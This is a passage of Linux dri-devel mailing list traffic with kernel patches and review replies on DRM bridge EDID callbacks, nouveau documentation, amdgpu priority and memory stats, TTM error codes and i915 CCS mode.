.attach = ptn3460_bridge_attach,
-   .get_edid = ptn3460_get_edid,
+   .edid_read = ptn3460_edid_read,
 };
 
 static int ptn3460_probe(struct i2c_client *client)
-- 
2.39.2

[PATCH v2] drm: bridge: dw_hdmi: switch to ->edid_read callback

[Jani Nikula]

Prefer using the struct drm_edid based callback and functions.

v2: Fix -Wuninitialized (kernel test robot)

Signed-off-by: Jani Nikula 
---
 drivers/gpu/drm/bridge/synopsys/dw-hdmi.c | 43 ++-
 1 file changed, 26 insertions(+), 17 deletions(-)

diff --git a/drivers/gpu/drm/bridge/synopsys/dw-hdmi.c 
b/drivers/gpu/drm/bridge/synopsys/dw-hdmi.c
index 52d91a0df85e..8eea3f59f585 100644
--- a/drivers/gpu/drm/bridge/synopsys/dw-hdmi.c
+++ b/drivers/gpu/drm/bridge/synopsys/dw-hdmi.c
@@ -2454,27 +2454,35 @@ static enum drm_connector_status dw_hdmi_detect(struct 
dw_hdmi *hdmi)
return result;
 }
 
-static struct edid *dw_hdmi_get_edid(struct dw_hdmi *hdmi,
-struct drm_connector *connector)
+static const struct drm_edid *dw_hdmi_edid_read(struct dw_hdmi *hdmi,
+   struct drm_connector *connector)
 {
-   struct edid *edid;
+   const struct drm_edid *drm_edid;
+   const struct edid *edid;
 
if (!hdmi->ddc)
return NULL;
 
-   edid = drm_get_edid(connector, hdmi->ddc);
-   if (!edid) {
+   drm_edid = drm_edid_read_ddc(connector, hdmi->ddc);
+   if (!drm_edid) {
dev_dbg(hdmi->dev, "failed to get edid\n");
return NULL;
}
 
+   /*
+* FIXME: This should use connector->display_info.is_hdmi and
+* connector->display_info.has_audio from a path that has read the EDID
+* and called drm_edid_connector_update().
+*/
+   edid = drm_edid_raw(drm_edid);
+
dev_dbg(hdmi->dev, "got edid: width[%d] x height[%d]\n",
edid->width_cm, edid->height_cm);
 
hdmi->sink_is_hdmi = drm_detect_hdmi_monitor(edid);
hdmi->sink_has_audio = drm_detect_monitor_audio(edid);
 
-   return edid;
+   return drm_edid;
 }
 
 /* 
-
@@ -2493,17 +2501,18 @@ static int dw_hdmi_connector_get_modes(struct 
drm_connector *connector)
 {
struct dw_hdmi *hdmi = container_of(connector, struct dw_hdmi,
 connector);
-   struct edid *edid;
+   const struct drm_edid *drm_edid;
int ret;
 
-   edid = dw_hdmi_get_edid(hdmi, connector);
-   if (!edid)
+   drm_edid = dw_hdmi_edid_read(hdmi, connector);
+   if (!drm_edid)
return 0;
 
-   drm_connector_update_edid_property(connector, edid);
-   cec_notifier_set_phys_addr_from_edid(hdmi->cec_notifier, edid);
-   ret = drm_add_edid_modes(connector, edid);
-   kfree(edid);
+   drm_edid_connector_update(connector, drm_edid);
+   cec_notifier_set_phys_addr(hdmi->cec_notifier,
+  
connector->display_info.source_physical_address);
+   ret = drm_edid_connector_add_modes(connector);
+   drm_edid_free(drm_edid);
 
return ret;
 }
@@ -2980,12 +2989,12 @@ static enum drm_connector_status 
dw_hdmi_bridge_detect(struct drm_bridge *bridge
return dw_hdmi_detect(hdmi);
 }
 
-static struct edid *dw_hdmi_bridge_get_edid(struct drm_bridge *bridge,
-   struct drm_connector *connector)
+static const struct drm_edid *dw_hdmi_bridge_edid_read(struct drm_bridge 
*bridge,
+  struct drm_connector 
*connector)
 {
struct dw_hdmi *hdmi = bridge->driver_private;
 
-   return dw_hdmi_get_edid(hdmi, connector);
+   return dw_hdmi_edid_read(hdmi, connector);
 }
 
 static const struct drm_bridge_funcs dw_hdmi_bridge_funcs = {
@@ -3002,7 +3011,7 @@ static const struct drm_bridge_funcs dw_hdmi_bridge_funcs 
= {
.mode_set = dw_hdmi_bridge_mode_set,
.mode_valid = dw_hdmi_bridge_mode_valid,
.detect = dw_hdmi_bridge_detect,
-   .get_edid = dw_hdmi_bridge_get_edid,
+   .edid_read = dw_hdmi_bridge_edid_read,
 };
 
 /* 
-
-- 
2.39.2

[PATCH v2] drm/bridge: nxp-ptn3460: switch to ->edid_read callback

[Jani Nikula]

Prefer using the struct drm_edid based callback and functions.

v2: Fix -Wsometimes-uninitialized (kernel test robot)

Signed-off-by: Jani Nikula 
---
 drivers/gpu/drm/bridge/nxp-ptn3460.c | 22 --
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/drivers/gpu/drm/bridge/nxp-ptn3460.c 
b/drivers/gpu/drm/bridge/nxp-ptn3460.c
index 7c0076e49953..ed93fd4c3265 100644
--- a/drivers/gpu/drm/bridge/nxp-ptn3460.c
+++ b/drivers/gpu/drm/bridge/nxp-ptn3460.c
@@ -154,10 +154,11 @@ static void ptn3460_disable(struct drm_bridge *bridge)
 }
 
 
-static struct edid *ptn3460_get_edid(struct drm_bridge *bridge,
-struct drm_connector *connector)
+static const struct drm_edid *ptn3460_edid_read(struct drm_bridge *bridge,
+   struct drm_connector *connector)
 {
struct ptn3460_bridge *ptn_bridge = bridge_to_ptn3460(bridge);
+   const struct drm_edid *drm_edid = NULL;
bool power_off;
u8 *edid;
int ret;
@@ -175,27 +176,28 @@ static struct edid *ptn3460_get_edid(struct drm_bridge 
*bridge,
 EDID_LENGTH);
if (ret) {
kfree(edid);
-   edid = NULL;
goto out;
}
 
+   drm_edid = drm_edid_alloc(edid, EDID_LENGTH);
+
 out:
if (power_off)
ptn3460_disable(_bridge->bridge);
 
-   return (struct edid *)edid;
+   return drm_edid;
 }
 
 static int ptn3460_connector_get_modes(struct drm_connector *connector)
 {
struct ptn3460_bridge *ptn_bridge = connector_to_ptn3460(connector);
-   struct edid *edid;
+   const struct drm_edid *drm_edid;
int num_modes;
 
-   edid = ptn3460_get_edid(_bridge->bridge, connector);
-   drm_connector_update_edid_property(connector, edid);
-   num_modes = drm_add_edid_modes(connector, edid);
-   kfree(edid);
+   drm_edid = ptn3460_edid_read(_bridge->bridge, connector);
+   drm_edid_connector_update(connector, drm_edid);
+   num_modes = drm_edid_connector_add_modes(connector);
+   drm_edid_free(drm_edid);
 
return num_modes;
 }
@@ -254,7 +256,7 @@ static const struct drm_bridge_funcs ptn3460_bridge_funcs = 
{
.pre_enable = ptn3460_pre_enable,
.disable = ptn3460_disable,
.attach = ptn3460_bridge_attach,
-   .get_edid = ptn3460_get_edid,
+   .edid_read = ptn3460_edid_read,
 };
 
 static int ptn3460_probe(struct i2c_client *client)
-- 
2.39.2

Re: [PATCH -next] drm/nouveau: uapi: fix kerneldoc warnings

[Jani Nikula]

On Mon, 08 Jan 2024, Danilo Krummrich  wrote:
> On 12/25/23 07:51, Vegard Nossum wrote:
>> As of commit b77fdd6a48e6 ("scripts/kernel-doc: restore warning for
>> Excess struct/union"), we see the following warnings when running 'make
>> htmldocs':
>> 
>>./include/uapi/drm/nouveau_drm.h:292: warning: Excess struct member 
>> 'DRM_NOUVEAU_VM_BIND_OP_MAP' description in 'drm_nouveau_vm_bind_op'
>>./include/uapi/drm/nouveau_drm.h:292: warning: Excess struct member 
>> 'DRM_NOUVEAU_VM_BIND_OP_UNMAP' description in 'drm_nouveau_vm_bind_op'
>>./include/uapi/drm/nouveau_drm.h:292: warning: Excess struct member 
>> 'DRM_NOUVEAU_VM_BIND_SPARSE' description in 'drm_nouveau_vm_bind_op'
>>./include/uapi/drm/nouveau_drm.h:336: warning: Excess struct member 
>> 'DRM_NOUVEAU_VM_BIND_RUN_ASYNC' description in 'drm_nouveau_vm_bind'
>> 
>> The problem is that these values are #define constants, but had kerneldoc
>> comments attached to them as if they were actual struct members.
>> 
>> There are a number of ways we could fix this, but I chose to draw
>> inspiration from include/uapi/drm/i915_drm.h, which pulls them into the
>> corresponding kerneldoc comment for the struct member that they are
>> intended to be used with.
>> 
>> To keep the diff readable, there are a number of things I _didn't_ do in
>> this patch, but which we should also consider:
>> 
>> - This is pretty good documentation, but it ends up in gpu/driver-uapi,
>>which is part of subsystem-apis/ when it really ought to display under
>>userspace-api/ (the "Linux kernel user-space API guide" book of the
>>documentation).
>
> I agree, it indeed looks like this would make sense, same goes for
> gpu/drm-uapi.rst.
>
> @Jani, Sima: Was this intentional? Or can we change it?

I have no recollection of this, but overall I'd say do what makes sense,
and where things are easiest to find.

BR,
Jani.


>
>> 
>> - More generally, we might want a warning if include/uapi/ files are
>>kerneldoc'd outside userspace-api/.
>> 
>> - I'd consider it cleaner if the #defines appeared between the kerneldoc
>>for the member and the member itself (which is something other DRM-
>>related UAPI docs do).
>> 
>> - The %IDENTIFIER kerneldoc syntax is intended for "constants", and is
>>more appropriate in this context than ``IDENTIFIER`` or 
>>The DRM docs aren't very consistent on this.
>> 
>> Cc: Randy Dunlap 
>> Cc: Jonathan Corbet 
>> Signed-off-by: Vegard Nossum 
>
> Applied to drm-misc-next, thanks!
>
>> ---
>>   include/uapi/drm/nouveau_drm.h | 56 --
>>   1 file changed, 27 insertions(+), 29 deletions(-)
>> 
>> diff --git a/include/uapi/drm/nouveau_drm.h b/include/uapi/drm/nouveau_drm.h
>> index 0bade1592f34..c95ef8a4d94a 100644
>> --- a/include/uapi/drm/nouveau_drm.h
>> +++ b/include/uapi/drm/nouveau_drm.h
>> @@ -238,34 +238,32 @@ struct drm_nouveau_vm_init {
>>   struct drm_nouveau_vm_bind_op {
>>  /**
>>   * @op: the operation type
>> + *
>> + * Supported values:
>> + *
>> + * %DRM_NOUVEAU_VM_BIND_OP_MAP - Map a GEM object to the GPU's VA
>> + * space. Optionally, the _NOUVEAU_VM_BIND_SPARSE flag can be
>> + * passed to instruct the kernel to create sparse mappings for the
>> + * given range.
>> + *
>> + * %DRM_NOUVEAU_VM_BIND_OP_UNMAP - Unmap an existing mapping in the
>> + * GPU's VA space. If the region the mapping is located in is a
>> + * sparse region, new sparse mappings are created where the unmapped
>> + * (memory backed) mapping was mapped previously. To remove a sparse
>> + * region the _NOUVEAU_VM_BIND_SPARSE must be set.
>>   */
>>  __u32 op;
>> -/**
>> - * @DRM_NOUVEAU_VM_BIND_OP_MAP:
>> - *
>> - * Map a GEM object to the GPU's VA space. Optionally, the
>> - * _NOUVEAU_VM_BIND_SPARSE flag can be passed to instruct the kernel to
>> - * create sparse mappings for the given range.
>> - */
>>   #define DRM_NOUVEAU_VM_BIND_OP_MAP 0x0
>> -/**
>> - * @DRM_NOUVEAU_VM_BIND_OP_UNMAP:
>> - *
>> - * Unmap an existing mapping in the GPU's VA space. If the region the 
>> mapping
>> - * is located in is a sparse region, new sparse mappings are created where 
>> the
>> - * unmapped (memory backed) mapping was mapped previously. To remove a 
>> sparse
>> - * region the _NOUVEAU_VM_BIND_SPARSE must be set.
>> - */
>>   #define DRM_NOUVEAU_VM_BIND_OP_UNMAP 0x1
>>  /**
>>   * @flags: the flags for a _nouveau_vm_bind_op
>> + *
>> + * Supported values:
>> + *
>> + * %DRM_NOUVEAU_VM_BIND_SPARSE - Indicates that an allocated VA
>> + * space region should be sparse.
>>   */
>>  __u32 flags;
>> -/**
>> - * @DRM_NOUVEAU_VM_BIND_SPARSE:
>> - *
>> - * Indicates that an allocated VA space region should be sparse.
>> - */
>>   #define DRM_NOUVEAU_VM_BIND_SPARSE (1 << 8)
>>  /**
>>   * @handle: the handle of the DRM GEM object to map
>> @@ -301,17 +299,17 @@ struct drm_nouveau_vm_bind {
>>  __u32 op_count;

Re: [PATCH 1/3] drm/nouveau: include drm/drm_edid.h only where needed

[Jani Nikula]

On Mon, 08 Jan 2024, Danilo Krummrich  wrote:
> On 1/4/24 21:16, Jani Nikula wrote:
>> Including drm_edid.h from nouveau_connector.h causes the rebuild of 15
>> files when drm_edid.h is modified, while there are only a few files that
>> actually need to include drm_edid.h.
>> 
>> Cc: Karol Herbst 
>> Cc: Lyude Paul 
>> Cc: Danilo Krummrich 
>> Cc: nouv...@lists.freedesktop.org
>> Signed-off-by: Jani Nikula 
>
> Reviewed-by: Danilo Krummrich 

Are you going to pick this up via the nouveau tree, or shall I apply it
to drm-misc-next?

BR,
Jani.

>
>> ---
>>   drivers/gpu/drm/nouveau/dispnv50/head.c | 1 +
>>   drivers/gpu/drm/nouveau/nouveau_connector.h | 2 +-
>>   2 files changed, 2 insertions(+), 1 deletion(-)
>> 
>> diff --git a/drivers/gpu/drm/nouveau/dispnv50/head.c 
>> b/drivers/gpu/drm/nouveau/dispnv50/head.c
>> index 5f490fbf1877..83355dbc15ee 100644
>> --- a/drivers/gpu/drm/nouveau/dispnv50/head.c
>> +++ b/drivers/gpu/drm/nouveau/dispnv50/head.c
>> @@ -32,6 +32,7 @@
>>   
>>   #include 
>>   #include 
>> +#include 
>>   #include 
>>   #include "nouveau_connector.h"
>>   
>> diff --git a/drivers/gpu/drm/nouveau/nouveau_connector.h 
>> b/drivers/gpu/drm/nouveau/nouveau_connector.h
>> index a2df4918340c..0608cabed058 100644
>> --- a/drivers/gpu/drm/nouveau/nouveau_connector.h
>> +++ b/drivers/gpu/drm/nouveau/nouveau_connector.h
>> @@ -35,7 +35,6 @@
>>   
>>   #include 
>>   #include 
>> -#include 
>>   #include 
>>   #include 
>>   
>> @@ -44,6 +43,7 @@
>>   
>>   struct nvkm_i2c_port;
>>   struct dcb_output;
>> +struct edid;
>>   
>>   #ifdef CONFIG_DRM_NOUVEAU_BACKLIGHT
>>   struct nouveau_backlight {
>

-- 
Jani Nikula, Intel

Re: [PATCH RFC v2 01/11] dt-bindings: gpu: Rename img,powervr to img,powervr-rogue

[Frank Binns]

Hi Andrew,

On Mon, 2024-01-08 at 12:32 -0600, Andrew Davis wrote:
> Signed-off-by: Andrew Davis 
> ---
>  .../bindings/gpu/{img,powervr.yaml => img,powervr-rogue.yaml} | 4 ++--
>  MAINTAINERS   | 2 +-
>  2 files changed, 3 insertions(+), 3 deletions(-)
>  rename Documentation/devicetree/bindings/gpu/{img,powervr.yaml => 
> img,powervr-rogue.yaml} (91%)
> 
> diff --git a/Documentation/devicetree/bindings/gpu/img,powervr.yaml 
> b/Documentation/devicetree/bindings/gpu/img,powervr-rogue.yaml
> similarity index 91%
> rename from Documentation/devicetree/bindings/gpu/img,powervr.yaml
> rename to Documentation/devicetree/bindings/gpu/img,powervr-rogue.yaml
> index a13298f1a1827..03a8308b41ae7 100644
> --- a/Documentation/devicetree/bindings/gpu/img,powervr.yaml
> +++ b/Documentation/devicetree/bindings/gpu/img,powervr-rogue.yaml
> @@ -2,10 +2,10 @@
>  # Copyright (c) 2023 Imagination Technologies Ltd.
>  %YAML 1.2
>  ---
> -$id: http://devicetree.org/schemas/gpu/img,powervr.yaml#
> +$id: http://devicetree.org/schemas/gpu/img,powervr-rogue.yaml#
>  $schema: http://devicetree.org/meta-schemas/core.yaml#
>  
> -title: Imagination Technologies PowerVR and IMG GPU
> +title: Imagination Technologies PowerVR Rogue and IMG GPUs

All the GPUs that will appear in this file will be Rogues, so for me it would be
more natural for 'Rogue' to come after 'IMG'. Can you change the title to:

Imagination Technologies PowerVR and IMG Rogue GPUs
With that changed and Javier's suggestions addressed:
Reviewed-by: Frank Binns 

>  
>  maintainers:
>- Frank Binns 
> diff --git a/MAINTAINERS b/MAINTAINERS
> index fa67e2624723f..5b205795da04e 100644
> --- a/MAINTAINERS
> +++ b/MAINTAINERS
> @@ -10461,7 +10461,7 @@ M:Donald Robson 
>  M:   Matt Coster 
>  S:   Supported
>  T:   git git://anongit.freedesktop.org/drm/drm-misc
> -F:   Documentation/devicetree/bindings/gpu/img,powervr.yaml
> +F:   Documentation/devicetree/bindings/gpu/img,powervr-rogue.yaml
>  F:   Documentation/gpu/imagination/
>  F:   drivers/gpu/drm/imagination/
>  F:   include/uapi/drm/pvr_drm.h

Re: [PATCH v2 1/2] platform_device: add devres function region-reqs

[Philipp Stanner]

Yo!

On Mon, 2024-01-08 at 12:46 +0100, Uwe Kleine-König wrote:
> On Mon, Jan 08, 2024 at 10:45:31AM +0100, Philipp Stanner wrote:
> > On Mon, 2024-01-08 at 10:37 +0100, Uwe Kleine-König wrote:
> > > Other than that I indifferent if this is a good idea. There are
> > > so many
> > > helpers around these functions ...
> > 
> > Around which, the devres functions in general? There are, but
> > that's
> > kind of the point, unless we'd want everyone to call into the
> > lowest
> > level region-request functions with their own devres callbacks.
> > 
> > In any case: What would your suggestion be, should parties who
> > can't
> > (without restructuring very large parts of their code) ioremap()
> > and
> > request() simultaneously just not use devres? See my patch #2
> > Or is there another way to reach that goal that I'm not aware of?
> 
> This wasn't a constructive feedback unfortunately and more a feeling
> than a measurable criticism. To actually improve the state, maybe
> first
> check what helpers are actually there, how they are used and if they
> are
> suitable to what they are used for.
> 
> Having many helpers is a hint that the usage is complicated. Is that
> because the situation is complicated, or is this just a big pile of
> inconsistency that can be simplified and consolidated?

I thought about that and tend to believe that you are right in this
case. The reason being that there'd be very few callers to such a
wrapper.
We have the functions for doing pure requests and pure ioremaps, so
that should be sufficient.

I think we can do sth like this in the rare cases where someone needs
to request without (immediately) mapping:


struct dcss_dev *dcss_dev_create(struct device *dev, bool hdmi_output)
{
struct platform_device *pdev = to_platform_device(dev);
int ret;
struct resource *res;
struct dcss_dev *dcss;
const struct dcss_type_data *devtype;
resource_size_t res_len;

devtype = of_device_get_match_data(dev);
if (!devtype) {
dev_err(dev, "no device match found\n");
return ERR_PTR(-ENODEV);
}

res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
if (!res) {
dev_err(dev, "cannot get memory resource\n");
return ERR_PTR(-EINVAL);
}

res_len = res->end - res->start;
if (!devm_request_mem_region(pdev->dev, res->start, res_len, "dcss")) {
dev_err(dev, "cannot request memory region\n");
return ERR_PTR(-EBUSY);
}


And then do the associated devm_ioremap()s where they're needed.


So I'd 'close' this patch series and handle it entirely through my dcss
patch-series.

Thx for the feedback

P.


> 
> Also I think there are helpers that take a resource type parameter
> (as
> your function) and others hard code it in the function name. Maybe
> unifying that would be nice, too.
> 
> Best regards
> Uwe
> 

Re: 回复: Re: 回复: Re: [PATCH libdrm 1/2] amdgpu: fix parameter of amdgpu_cs_ctx_create2

[Marek Olšák]

int p = -1.
unsigned u = p;
int p2 = u;

p2 is -1.

Marek

On Tue, Jan 9, 2024, 03:26 Christian König  wrote:

> Am 09.01.24 um 09:09 schrieb 李真能:
>
> Thanks!
>
> What about the second patch?
>
> The second patch:   amdgpu: change proirity value to be consistent with
> kernel.
>
> As I want to pass AMDGPU_CTX_PRIORITY_LOW to kernel module drm-scheduler,
> if these two patches are not applyed,
>
> It can not pass LOW priority to drm-scheduler.
>
> Do you have any other suggestion?
>
>
> Well what exactly is the problem? Just use AMD_PRIORITY=-512.
>
> As far as I can see that is how it is supposed to be used.
>
> Regards,
> Christian.
>
>
>
>
>
>
>
>
> 
>
>
>
>
>
> *主 题：*Re: 回复: Re: [PATCH libdrm 1/2] amdgpu: fix parameter of
> amdgpu_cs_ctx_create2
> *日 期：*2024-01-09 15:15
> *发件人：*Christian König
> *收件人：*李真能;Marek Olsak;Pierre-Eric Pelloux-Prayer;dri-devel;amd-gfx;
>
> Am 09.01.24 um 02:50 schrieb 李真能:
>
> When the priority value is passed to the kernel, the kernel compares it
> with the following values:
>
> #define AMDGPU_CTX_PRIORITY_VERY_LOW-1023
> #define AMDGPU_CTX_PRIORITY_LOW -512
> #define AMDGPU_CTX_PRIORITY_NORMAL  0
> #define AMDGPU_CTX_PRIORITY_HIGH512
> #define AMDGPU_CTX_PRIORITY_VERY_HIGH   1023
>
> If priority is uint32_t, we can't set LOW and VERY_LOW value to kernel
> context priority,
>
> Well that's nonsense.
>
> How the kernel handles the values and how userspace handles them are two
> separate things. You just need to make sure that it's always 32 bits.
>
> In other words if you have signed or unsigned data type in userspace is
> irrelevant for the kernel.
>
> You can refer to the kernel function amdgpu_ctx_priority_permit, if
> priority is greater
>
> than 0, and this process has not  CAP_SYS_NICE capibility or DRM_MASTER
> permission,
>
> this process will be exited.
>
> Correct, that's intentional.
>
> Regards,
> Christian.
>
>
>
>
>
>
> 
>
>
>
>
>
> *主 题：*Re: [PATCH libdrm 1/2] amdgpu: fix parameter of
> amdgpu_cs_ctx_create2
> *日 期：*2024-01-09 00:28
> *发件人：*Christian König
> *收件人：*李真能;Marek Olsak;Pierre-Eric Pelloux-Prayer;dri-devel;amd-gfx;
>
> Am 08.01.24 um 10:40 schrieb Zhenneng Li:
> > In order to pass the correct priority parameter to the kernel,
> > we must change priority type from uint32_t to int32_t.
>
> Hui what? Why should it matter if the parameter is signed or not?
>
> That doesn't seem to make sense.
>
> Regards,
> Christian.
>
> >
> > Signed-off-by: Zhenneng Li
> > ---
> > amdgpu/amdgpu.h | 2 +-
> > amdgpu/amdgpu_cs.c | 2 +-
> > 2 files changed, 2 insertions(+), 2 deletions(-)
> >
> > diff --git a/amdgpu/amdgpu.h b/amdgpu/amdgpu.h
> > index 9bdbf366..f46753f3 100644
> > --- a/amdgpu/amdgpu.h
> > +++ b/amdgpu/amdgpu.h
> > @@ -896,7 +896,7 @@ int amdgpu_bo_list_update(amdgpu_bo_list_handle
> handle,
> > *
> > */
> > int amdgpu_cs_ctx_create2(amdgpu_device_handle dev,
> > - uint32_t priority,
> > + int32_t priority,
> > amdgpu_context_handle *context);
> > /**
> > * Create GPU execution Context
> > diff --git a/amdgpu/amdgpu_cs.c b/amdgpu/amdgpu_cs.c
> > index 49fc16c3..eb72c638 100644
> > --- a/amdgpu/amdgpu_cs.c
> > +++ b/amdgpu/amdgpu_cs.c
> > @@ -49,7 +49,7 @@ static int amdgpu_cs_reset_sem(amdgpu_semaphore_handle
> sem);
> > * \return 0 on success otherwise POSIX Error code
> > */
> > drm_public int amdgpu_cs_ctx_create2(amdgpu_device_handle dev,
> > - uint32_t priority,
> > + int32_t priority,
> > amdgpu_context_handle *context)
> > {
> > struct amdgpu_context *gpu_context;
>
>
>

Re: [PATCH 2/2] drm/amdgpu: add shared fdinfo stats

[Tvrtko Ursulin]

On 09/01/2024 07:56, Christian König wrote:

Am 07.12.23 um 19:02 schrieb Alex Deucher:

Add shared stats.  Useful for seeing shared memory.

v2: take dma-buf into account as well

Signed-off-by: Alex Deucher 
Cc: Rob Clark 
---
  drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c |  4 
  drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 11 +++
  drivers/gpu/drm/amd/amdgpu/amdgpu_object.h |  6 ++
  3 files changed, 21 insertions(+)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c 
b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c

index 5706b282a0c7..c7df7fa3459f 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
@@ -97,6 +97,10 @@ void amdgpu_show_fdinfo(struct drm_printer *p, 
struct drm_file *file)

 stats.requested_visible_vram/1024UL);
  drm_printf(p, "amd-requested-gtt:\t%llu KiB\n",
 stats.requested_gtt/1024UL);
+    drm_printf(p, "drm-shared-vram:\t%llu KiB\n", 
stats.vram_shared/1024UL);
+    drm_printf(p, "drm-shared-gtt:\t%llu KiB\n", 
stats.gtt_shared/1024UL);
+    drm_printf(p, "drm-shared-cpu:\t%llu KiB\n", 
stats.cpu_shared/1024UL);

+
  for (hw_ip = 0; hw_ip < AMDGPU_HW_IP_NUM; ++hw_ip) {
  if (!usage[hw_ip])
  continue;
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c 
b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c

index d79b4ca1ecfc..1b37d95475b8 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
@@ -1287,25 +1287,36 @@ void amdgpu_bo_get_memory(struct amdgpu_bo *bo,
    struct amdgpu_mem_stats *stats)
  {
  uint64_t size = amdgpu_bo_size(bo);
+    struct drm_gem_object *obj;
  unsigned int domain;
+    bool shared;
  /* Abort if the BO doesn't currently have a backing store */
  if (!bo->tbo.resource)
  return;
+    obj = >tbo.base;
+    shared = (obj->handle_count > 1) || obj->dma_buf;


I still think that looking at handle_count is the completely wrong 
approach, we should really only look at obj->dma_buf.


Yeah it is all a bit tricky with the handle table walk. I don't think it 
is even possible to claim it is shared with obj->dma_buf could be the 
same process creating say via udmabuf and importing into drm. It is a 
wild scenario yes, but it could be private memory in that case. Not sure 
where it would leave us if we said this is just a limitation of a BO 
based tracking.


Would adding a new category "imported" help?

Hmm or we simply change drm-usage-stats.rst:

"""
- drm-shared-:  [KiB|MiB]

The total size of buffers that are shared with another file (ie. have 
more than than a single handle).

"""

Changing ie into eg coule be get our of jail free card to allow the 
"(obj->handle_count > 1) || obj->dma_buf;" condition?


Because of the shared with another _file_ wording would cover my wild 
udmabuf self-import case. Unless there are more such creative private 
import options.


Regards,

Tvrtko



Regards,
Christian.


+
  domain = amdgpu_mem_type_to_domain(bo->tbo.resource->mem_type);
  switch (domain) {
  case AMDGPU_GEM_DOMAIN_VRAM:
  stats->vram += size;
  if (amdgpu_bo_in_cpu_visible_vram(bo))
  stats->visible_vram += size;
+    if (shared)
+    stats->vram_shared += size;
  break;
  case AMDGPU_GEM_DOMAIN_GTT:
  stats->gtt += size;
+    if (shared)
+    stats->gtt_shared += size;
  break;
  case AMDGPU_GEM_DOMAIN_CPU:
  default:
  stats->cpu += size;
+    if (shared)
+    stats->cpu_shared += size;
  break;
  }
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h 
b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h

index d28e21baef16..0503af75dc26 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h
@@ -138,12 +138,18 @@ struct amdgpu_bo_vm {
  struct amdgpu_mem_stats {
  /* current VRAM usage, includes visible VRAM */
  uint64_t vram;
+    /* current shared VRAM usage, includes visible VRAM */
+    uint64_t vram_shared;
  /* current visible VRAM usage */
  uint64_t visible_vram;
  /* current GTT usage */
  uint64_t gtt;
+    /* current shared GTT usage */
+    uint64_t gtt_shared;
  /* current system memory usage */
  uint64_t cpu;
+    /* current shared system memory usage */
+    uint64_t cpu_shared;
  /* sum of evicted buffers, includes visible VRAM */
  uint64_t evicted_vram;
  /* sum of evicted buffers due to CPU access */

Re: [PATCH 2/5] drm/ttm: return ENOSPC from ttm_bo_mem_space

[Thomas Hellström]

On Tue, 2024-01-09 at 08:47 +0100, Christian König wrote:
> Only convert it to ENOMEM in ttm_bo_validate.
> 

Could we have a more elaborate commit description here, (why is this
change needed)?

> Signed-off-by: Christian König 
> ---
>  drivers/gpu/drm/ttm/ttm_bo.c | 5 -
>  1 file changed, 4 insertions(+), 1 deletion(-)
> 
> diff --git a/drivers/gpu/drm/ttm/ttm_bo.c
> b/drivers/gpu/drm/ttm/ttm_bo.c
> index edf10618fe2b..8c1eaa74fa21 100644
> --- a/drivers/gpu/drm/ttm/ttm_bo.c
> +++ b/drivers/gpu/drm/ttm/ttm_bo.c
> @@ -830,7 +830,7 @@ int ttm_bo_mem_space(struct ttm_buffer_object
> *bo,
>   goto error;
>   }
>  
> - ret = -ENOMEM;
> + ret = -ENOSPC;
>   if (!type_found) {
>   pr_err(TTM_PFX "No compatible memory type found\n");
>   ret = -EINVAL;
> @@ -916,6 +916,9 @@ int ttm_bo_validate(struct ttm_buffer_object *bo,
>   return -EINVAL;
>  
>   ret = ttm_bo_move_buffer(bo, placement, ctx);
> + /* For backward compatibility with userspace */
> + if (ret == -ENOSPC)
> + return -ENOMEM;
>   if (ret)
>   return ret;
>  

Re: [PATCH v2 2/2] gpu: drm: bridge: cadence: Add a driver and platform ops for StarFive JH7110 SoC

[Philipp Zabel]

On Di, 2024-01-09 at 15:25 +0800, Shengyang Chen wrote:
> +static int cdns_dsi_get_reset(struct device *dev, struct cdns_dsi *dsi)
> +{
> + dsi->dpi_rst = devm_reset_control_get(dev, "dpi");
> + if (IS_ERR(dsi->dpi_rst))
> + return PTR_ERR(dsi->dpi_rst);

Please use devm_reset_control_get_exclusive() directly.

Also, consider using devm_reset_control_bulk_get_exclusive() instead,
to control "dpi"/"apb"/"txesc" resets together - if the hardware can
handle deasserting in reversed order.

> +
> + dsi->apb_rst = devm_reset_control_get(dev, "apb");
> + if (IS_ERR(dsi->apb_rst))
> + return PTR_ERR(dsi->apb_rst);
> +
> + dsi->txesc_rst = devm_reset_control_get(dev, "txesc");
> + if (IS_ERR(dsi->txesc_rst))
> + return PTR_ERR(dsi->txesc_rst);
> +
> + dsi->txbytehs_rst = devm_reset_control_get(dev, "txbytehs");
> + if (IS_ERR(dsi->txbytehs_rst))
> + return PTR_ERR(dsi->txbytehs_rst);
> +
> + return 0;
> +}

regards
Philipp

Re: [PATCH] drm: bridge: samsung-dsim: Don't use FORCE_STOP_STATE

[Michael Walle]

Hi,


Inki, are you picking this up? Or if not, who will?


I can pick it up but it would be better to go to the drm-misc tree. If
nobody cares about it then I will pick it up. :)

acked-by : Inki Dae 


Who is going to pick this up? Who has access to the drm-misc tree?

-michael

Re: [PATCH v2 1/3] drm/i915/gt: Support fixed CCS mode

[Tvrtko Ursulin]

On 08/01/2024 15:13, Joonas Lahtinen wrote:

Quoting Tvrtko Ursulin (2024-01-05 12:39:31)


On 04/01/2024 21:23, Andi Shyti wrote:





+void intel_gt_apply_ccs_mode(struct intel_gt *gt)
+{
+   mutex_lock(>ccs.mutex);
+   __intel_gt_apply_ccs_mode(gt);
+   mutex_unlock(>ccs.mutex);
+}
+
+void intel_gt_init_ccs_mode(struct intel_gt *gt)
+{
+   mutex_init(>ccs.mutex);
+   gt->ccs.mode = 1;


What is '1'? And this question carries over to the sysfs interface in the
following patch - who will use it and where it is documented how to use it?


The value '1' is explained in the comment above[1] and in the


Do you mean this is mode '1':

   * With 1 engine (ccs0):
